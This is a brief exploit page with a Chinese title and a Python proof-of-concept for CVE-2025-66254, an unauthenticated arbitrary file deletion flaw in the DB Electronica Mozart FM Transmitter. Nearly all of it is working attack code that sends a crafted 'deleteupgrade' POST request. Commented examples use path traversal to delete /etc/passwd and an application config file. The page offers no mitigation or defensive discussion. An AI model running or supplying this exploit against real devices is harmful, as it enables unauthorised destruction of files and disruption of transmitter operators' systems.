CVE-2025-66254: DB Electronica Mozart FM Transmitter未授权任意文件删除漏洞

import requests import urllib.parse # CVE-2025-66254 PoC - Unauthenticated Arbitrary File Deletion # Target: DB Electronica Mozart FM Transmitter # Vulnerability: deleteupgrade parameter in /var/www/upgrade_contents.php TARGET_URL = "http://target-ip/upgrade_contents.php" def delete_file(filepath): """Send request to delete arbitrary file via deleteupgrade parameter""" payload = { 'deleteupgrade': filepath } response = requests.post(TARGET_URL, data=payload, timeout=10) return response.status_code, response.text # Example 1: Delete a file in upload directory filepath1 = "example.txt" status, resp = delete_file(filepath1) print(f"Delete {filepath1}: Status {status}") # Example 2: Path traversal to delete system file # filepath2 = "../../etc/passwd" # status, resp = delete_file(filepath2) # print(f"Delete system file: Status {status}") # Example 3: Delete application configuration # filepath3 = "../../var/www/config.php" # status, resp = delete_file(filepath3) # print(f"Delete config: Status {status}")